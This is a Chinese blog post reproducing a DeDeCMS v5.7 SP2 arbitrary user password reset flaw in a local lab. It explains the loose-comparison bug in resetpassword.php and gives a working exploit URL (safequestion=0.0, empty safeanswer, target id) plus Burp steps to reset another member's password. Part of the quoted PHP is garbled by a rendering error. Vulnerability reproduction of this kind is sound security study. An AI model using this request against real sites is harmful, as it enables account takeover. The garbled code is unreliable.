DeDeCMS v5.7 SP2 正式版 前台任意用户密码修改(漏洞复现)

本文主要是介绍DeDeCMS v5.7 SP2 正式版 前台任意用户密码修改(漏洞复现),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

1.环境搭建

PHP 5.6
DeDeCMSV5.7SP2 正式版
安装phpstudy,https://www.xp.cn/小皮面板
在这里插入图片描述
先启动Apache2.4.39和MySQL5.7.26
如果他会让你下载,点击是就好!
在这里插入图片描述
让后点击网站—>点击创建网站
在这里插入图片描述在这里插入图片描述
域名自己创建,自己取
其他的不变
点击”创建数据库“

在这里插入图片描述
这些设置好就行
然后重启一下Apache2.4.39
在这里插入图片描述
这里我创建好了我的
在这里插入图片描述然后打开管理
在这里插入图片描述

点击’打开根目录‘并把下载好的DeDeCMS v5.7 SP2
解压

在这里插入图片描述
解压后把里面的文件放入根目录中,这里注意:解压好后的文件里面upload里面的所有文件要拖出来放在根目录里面,最后保存就好

然后我们访问:你在本机上创建的网站的域名/install
然后按着以下教程安装就好!!!
https://blog.csdn.net/qq_38882327/article/details/89356033

当安装好后,后台账号和密码都是amdin
但是注意我们需要去后台把会员注册打开,别忘了调成“是”
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
然后放回页面,退出我们的账号,来到下面这个页面
在这里插入图片描述打开源码目录下D:\phpstudy_pro\WWW\dedecms\include,找到dedesql.class.php和dedesqli.class.php两个php文件,用notepad++打开,然后ctrl+F寻找safeCheck,把TURE改为FALSE,关闭安全检查

在这里插入图片描述

2.漏洞复现

由于前台resetpassword.php中对接受的safeanswer参数类型比较不够严格,遭受弱类型比较攻击

导致了远程攻击者可以在前台会员中心绕过验证,进行任意用户密码重置攻击

漏洞触发位置:dedecms/member/resetpassword.php(75行) else if($dopost ==
“safequestion”)

{

$mid = preg_replace(“#[^0-9]#”, “”, $id);

KaTeX parse error: Expected ‘EOF’, got ‘#’ at position 57: …rid,email
FROM #̲@__member WHERE…mid’";

$row = d b − > G e t O n e ( db->GetOne( db−>GetOne(sql);

if(empty($safequestion)) $safequestion = ‘’;

if(empty($safeanswer)) $safeanswer = ‘’;

if($row[‘safequestion’] == $safequestion && $row[‘safeanswer’] ==
$safeanswer)

{

​ sn($mid, $row[‘userid’], $row[‘email’], ‘N’);

​ exit();

}

else

{

​ ShowMsg(“对不起,您的安全问题或答案回答错误”,“-1”);

​ exit();

}

}

就是这里的判断出现了问题,因为使用了不够严谨的 == 进行了比较,导致if语句的条件为真,就会进入分支,进入sn函数

if($row[‘safequestion’] == $safequestion && $row[‘safeanswer’] ==
$safeanswer)

{

sn($mid, $row[‘userid’], $row[‘email’], ‘N’);

exit();

}

原文链接:https://blog.csdn.net/weixin_52497013/article/details/121468861
后台看到我们uid
在这里插入图片描述这里我们看到mid=2
fouronefour.com/member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id=2
用bp抓个包,放个包

在这里插入图片描述
在这里插入图片描述
把amp删掉,key=“密钥”
访问此网站,让后改掉密码即可

在这里插入图片描述

这篇关于DeDeCMS v5.7 SP2 正式版 前台任意用户密码修改(漏洞复现)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/454115

相关文章

Mysql用户授权(GRANT)语法及示例解读

《Mysql用户授权(GRANT)语法及示例解读》:本文主要介绍Mysql用户授权(GRANT)语法及示例,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录mysql用户授权(GRANT)语法授予用户权限语法GRANT语句中的<权限类型>的使用WITH GRANT

Python从零打造高安全密码管理器

《Python从零打造高安全密码管理器》在数字化时代,每人平均需要管理近百个账号密码,本文将带大家深入剖析一个基于Python的高安全性密码管理器实现方案,感兴趣的小伙伴可以参考一下... 目录一、前言:为什么我们需要专属密码管理器二、系统架构设计2.1 安全加密体系2.2 密码强度策略三、核心功能实现详解

Docker镜像修改hosts及dockerfile修改hosts文件的实现方式

《Docker镜像修改hosts及dockerfile修改hosts文件的实现方式》:本文主要介绍Docker镜像修改hosts及dockerfile修改hosts文件的实现方式,具有很好的参考价... 目录docker镜像修改hosts及dockerfile修改hosts文件准备 dockerfile 文

Python实现无痛修改第三方库源码的方法详解

《Python实现无痛修改第三方库源码的方法详解》很多时候,我们下载的第三方库是不会有需求不满足的情况,但也有极少的情况,第三方库没有兼顾到需求,本文将介绍几个修改源码的操作,大家可以根据需求进行选择... 目录需求不符合模拟示例 1. 修改源文件2. 继承修改3. 猴子补丁4. 追踪局部变量需求不符合很

Linux修改pip和conda缓存路径的几种方法

《Linux修改pip和conda缓存路径的几种方法》在Python生态中,pip和conda是两种常见的软件包管理工具,它们在安装、更新和卸载软件包时都会使用缓存来提高效率,适当地修改它们的缓存路径... 目录一、pip 和 conda 的缓存机制1. pip 的缓存机制默认缓存路径2. conda 的缓

Linux修改pip临时目录方法的详解

《Linux修改pip临时目录方法的详解》在Linux系统中,pip在安装Python包时会使用临时目录(TMPDIR),但默认的临时目录可能会受到存储空间不足或权限问题的影响,所以本文将详细介绍如何... 目录引言一、为什么要修改 pip 的临时目录?1. 解决存储空间不足的问题2. 解决权限问题3. 提

SpringSecurity 认证、注销、权限控制功能(注销、记住密码、自定义登入页)

《SpringSecurity认证、注销、权限控制功能(注销、记住密码、自定义登入页)》SpringSecurity是一个强大的Java框架,用于保护应用程序的安全性,它提供了一套全面的安全解决方案... 目录简介认识Spring Security“认证”(Authentication)“授权” (Auth

Linux文件名修改方法大全

《Linux文件名修改方法大全》在Linux系统中,文件名修改是一个常见且重要的操作,文件名修改可以更好地管理文件和文件夹,使其更具可读性和有序性,本文将介绍三种在Linux系统下常用的文件名修改方法... 目录一、引言二、使用mv命令修改文件名三、使用rename命令修改文件名四、mv命令和rename命

mysql删除无用用户的方法实现

《mysql删除无用用户的方法实现》本文主要介绍了mysql删除无用用户的方法实现,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧... 1、删除不用的账户(1) 查看当前已存在账户mysql> select user,host,pa

mybatis-plus 实现查询表名动态修改的示例代码

《mybatis-plus实现查询表名动态修改的示例代码》通过MyBatis-Plus实现表名的动态替换,根据配置或入参选择不同的表,本文主要介绍了mybatis-plus实现查询表名动态修改的示... 目录实现数据库初始化依赖包配置读取类设置 myBATis-plus 插件测试通过 mybatis-plu